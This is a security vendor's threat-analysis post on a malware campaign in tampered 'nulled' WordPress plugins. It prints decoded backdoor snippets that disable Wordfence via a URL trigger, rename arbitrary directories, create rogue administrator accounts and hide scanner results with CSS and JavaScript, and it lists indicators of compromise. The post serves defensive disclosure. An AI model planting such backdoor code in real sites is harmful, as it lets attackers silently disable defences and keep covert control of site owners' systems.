# The Price of ‘Free’: How Nulled Plugins Are Used to Weaken Your Defense

⋮ 9/9/2025


The Wordfence Threat Intelligence Team has discovered a new malware campaign that highlights the hidden risks associated with “nulled plugins”, or premium plugins that have been tampered with by third parties. This campaign is particularly concerning because it doesn’t just infect websites: it enables attackers to bypass existing security defenses while achieving persistent access, effectively turning developers or site owners into unwitting collaborators in weakening their own site’s defences.

Malware samples associated with this campaign were shared with us on August 26, 2025. 6 malware detection signatures were developed and released after undergoing our Q&A process on September 2, 2025. All Wordfence Premium, Care, and Response customers received these signatures immediately, along with paid Wordfence CLI Users. Users of the free version of Wordfence and Wordfence CLI received the same signatures after the standard 30-day delay.

As part of our product lineup, we offer security monitoring and malware removal services to our Wordfence Care and Response customers. In the event of a security incident, our incident response team will investigate the root cause, find and remove malware from your site, and help with other complications that may arise as a result of an infection. During the cleanup, malware samples are added to our Threat

Intelligence database, which contains over 4.4 million unique malicious samples. The Wordfence plugin and Wordfence CLI scanner detect over 99% of these samples and indicators of compromise, when using the premium signatures set. Wordfence CLI can scan your site even if WordPress is no longer functional and is an excellent layer of security to implement at the server-level, part of our mission to secure the web by Defense in Depth.

# Malware Analysis

Two suspicious plugins were identified on a compromised website by a Wordfence customer and shared with us. After a quick inspection these plugins were identified as suspiciously outdated copies of two major premium plugins, suggesting this customer has tampered premium plugins ("nulled" plugins) installed as the most likely source of the initial intrusion.

Unfortunately many website owners are tempted by the prospect of obtaining premium plugins without the associated costs. This isn't a new issue; we wrote about the dangers of counterfeit versions of Wordfence just a few months ago. However, choosing this seemingly easy route can lead to significant risks. Attackers often exploit users' desire for cost savings by offering discounted or "nulled" versions of premium plugins, using them as a social engineering tactic to compromise websites with minimal effort.

## Metadata and Obfuscation

Initial analysis of the first plugin variant immediately raised several red flags: the plugin folder, plugin name, and text domain were tampered with to be different from the original ones, however the second plugin variant maintained consistent metadata, suggesting a more refined development stage compared to the first variant.

The core payload in the first plugin is mostly hidden using an unusual obfuscation method: the attackers employed a combination of techniques including string reversal and fragmentation, character code mixing (hex, octal, html entities), unnecessary function calls and encodings:

## Plugin(s) Arbitrary Deactivation

Once decoded the malware's real purpose became clear. The primary backdoor function is hooked into the WordPress *init* action, ensuring it runs on every page load. It remains dormant until triggered by a specific string in a URL request.

In the first variant, once triggered, it disables Wordfence by renaming the plugin directory, a brute-force but effective method to completely deactivate the plugin at the file system level.

```
1$trigger_string = "02jri7rt63uind9j837gew82djh";
2if (strpos($_SERVER["REQUEST_URI"], $trigger_string) !== false) {
3rename(
4ABSPATH . "wp-content/plugins/wordfence",
```

```
ABSPATH . "wp-content/plugins/wordfence1"
);
}
```

The other, more sophisticated, variant of this malware further improves its capabilities, enabling simultaneous renames of up to two arbitrary target directories. This is achieved by passing both source and target parameters within the web request:

```

function b5c6d7e8f($g9h0i1j2, $k3l4m5n6, $o7p8q9r0, $s1t2u3v4) {
$w5x6y7z8 = wp_upload_dir();
$a9b0c1d2 = $_SERVER['DOCUMENT_ROOT'] . '/' . $g9h0i1j2;
$e3f4g5h6 = $_SERVER['DOCUMENT_ROOT'] . '/' . $k3l4m5n6;
$i7j8k9l0 = $_SERVER['DOCUMENT_ROOT'] . '/' . $o7p8q9r0;
$m1n2o3p4 = $_SERVER['DOCUMENT_ROOT'] . '/' . $s1t2u3v4;
if (is_dir($a9b0c1d2) && !is_dir($e3f4g5h6)) {
rename($a9b0c1d2, $e3f4g5h6);
}
if (is_dir($i7j8k9l0) && !is_dir($m1n2o3p4)) {
rename($i7j8k9l0, $m1n2o3p4);
}
return true;
}
[...]
$b1c2d3e4 = base64_decode(sanitize_text_field($params['f5g6h7i8'])); // source 1
$j9k0l1m2 = base64_decode(sanitize_text_field($params['n3o4p5q6'])); // target 1
$r7s8t9u0 = base64_decode(sanitize_text_field($params['v1w2x3y4'])); // source 2
$z5a6b7c8 = base64_decode(sanitize_text_field($params['d9e0f1g2'])); // target 2
b5c6d7e8f($b1c2d3e4, $j9k0l1m2, $r7s8t9u0, $z5a6b7c8);

```

What makes this second variant particularly concerning is how it represents a shift in attacker methodology. Unlike the first variant that uses the same hardcoded credentials and targets across all infections, this newer

approach allows attackers to customize their attack for each target. By accepting parameters through the URL, attackers can now choose different usernames, passwords, and directory names for every compromised site.

This means that instead of launching broad, easily-detectable campaigns that affect thousands of sites identically, attackers can now tailor each infection to blend in with the specific website's environment. For defenders, this evolution makes detection significantly harder: there's no longer a single way to detect these threats across multiple compromised sites.

## Rogue Administrators

After Wordfence or another security solution is disabled, malware establishes persistence to maintain control over the compromised site. The older variant of this malware either creates a new administrator user account or elevates the privileges of an existing user to that of an administrator. This ensures that even if the initial backdoor is removed, the attackers retain full administrative access to the website:

```
$admin_username = "wp_admin_1";
if (!username_exists($admin_username)) {
$user_id = wp_create_user($admin_username, "[redacted]");
$user = new WP_User($user_id);
$user->set_role("administrator");
echo "_Data set!_";
} else {
$user = get_user_by("login", $admin_username);
$user->set_role("administrator");
echo "_Data updated!_";
}
```

The more recent variant instead uses a dynamic approach with parametrized data to complicate the detection of rogue admin users. Interestingly, this function is weaker than its predecessor: while the initial implementation aggressively attempted to create or elevate user privileges, the most recent version fails if the user or email already exists:

```
function a1b2c3d4e($f5g6h7i8, $j9k0l1m2, $n3o4p5q6) {
if (!username_exists($f5g6h7i8) && !email_exists($n3o4p5q6)) {
$r7s8t9u0 = wp_create_user($f5g6h7i8, $j9k0l1m2, $n3o4p5q6);
if (is_int($r7s8t9u0)) {
```

```
$v1w2x3y4 = new WP_User($r7s8t9u0);
$v1w2x3y4->set_role((strrev('6e'.'s'.'a'.'b').'4_'
.strrev('ed'.'o'.'ced'))('YWRtaW5pc3RyYXRvcg=='));
return true;
}
}
return false;
}
```

## Cosmetic Tampering

After persistence is established, the attacker can log in undetected and eventually reactivate Wordfence to deter investigation and prevent detection of their ongoing presence, aiming for a long-term undetected presence rather than a quick exploit. Indeed, a significant effort is dedicated to conceal some plugin features from the administrators: the goal is to make Wordfence appear fully functional and protective while avoiding modifications to the plugin itself, allowing the attacker to operate covertly.

This is accomplished through specific CSS rules and JavaScript code that targets administrative and Wordfence UI elements to prevent the malicious plugin from appearing on the main plugins page, or to remove specific Wordfence customization options from the interface, and to hide the “Ignored” results tab in the Wordfence scanner, preventing an admin from seeing issues the malware may have instructed the scanner to ignore:

```
[data-plugin="[redacted]/[redacted].php"]{display: none !important;}
[data-persistence-key="wf-unified-scanner-options-custom"]{display: none !important;}
[data-persistence-key="wf-scanner-options-custom"]{display: none !important;}
#wf-scan-tab-ignored{display: none !important;}
```

```
jQuery(document).ready(function () {
if (window.location.toString().indexOf("Wordfence") === -1) {
return;
}
_0x20d9f7 = jQuery("#wf-option-scansEnabled-core:first-child li:first");
_0x20d9f7.attr("class", "wf-option-checkbox wf-checked");
_0x20d9f7.attr("aria-checked", "true");
var _0x20d9f7 = jQuery("#wf-option-scansEnabled-themes:first-child li:first");
```

```
8 _0x20d9f7.attr("class", "wf-option-checkbox wf-checked");
9 _0x20d9f7.attr("aria-checked", "true");
10 _0x20d9f7 = jQuery("#wf-option-scansEnabled-plugins:first-child li:first");
11 _0x20d9f7.attr("class", "wf-option-checkbox wf-checked");
12 _0x20d9f7.attr("aria-checked", "true");
   });
13
14
```

### Indicators of Compromise (IOCs)

| | |
|---|---|
| URL strings / parameters | `02jri7rt63uind9j837gew82djh` |
| | `v9w0x1y2=z3a4b5c6` |
| Rogue WordPress admin | `wp_admin_1` |
| File Hashes (md5) | `072f75de3c1aab1ac50c521761c3ed47` |
| | `aa83f1ccecfe51b1dcf672b041e692dc` |
| | `7c91265d156797c9db78c205bf59e29b` |
| | `a394460a50caeea434b33f5956e90a89` |
| | `4468904cbe83b34eb9229fe9393b4b60` |
| | `6b17cfa1b51c00953eaa793b7fdf417a` |

## The Bottom Line: Never Install Nulled Plugins and Themes

This is an important reminder that no security solution can protect your WordPress site at every layer on its own. As a site owner, you play a critical role in your website's security. Following best practices, such as only installing legitimate plugins and themes directly from trusted sources, helps ensure your site remains secure even from hidden threats.

Malware like this often bypasses detection because it is intentionally embedded in nulled or pirated software. Once installed, it activates immediately, making it appear legitimate while evading security tools. The best defense in this situation is **prevention**: never install WordPress software from untrusted sources.

## Conclusion

This sophisticated attack demonstrates how easily individuals seeking to save money inadvertently aid hackers in compromising their own websites. Once a site owner or developer installs these counterfeit premium plugins, attackers gain the ability to disable security tools, leverage backdoors, add new admin accounts, even reactivate security plugins like Wordfence after modifying them to serve their purposes.

This grants attackers long-term access to the compromised site without arousing suspicion, allowing them to add other malware appropriate for the context: for example adding a credit card skimmer to an e-commerce

website or a backdoor stealing user information. We hope this paints a clear picture for site owners to understand the risks of nulled plugins and themes so we can prevent site compromises at the root.

Wordfence Premium, Care and Response users, as well as paid Wordfence CLI customers, received malware signatures to detect these counterfeit plugins on September 2, 2025. Wordfence free users and Wordfence CLI free users receive signatures after a 30 day delay.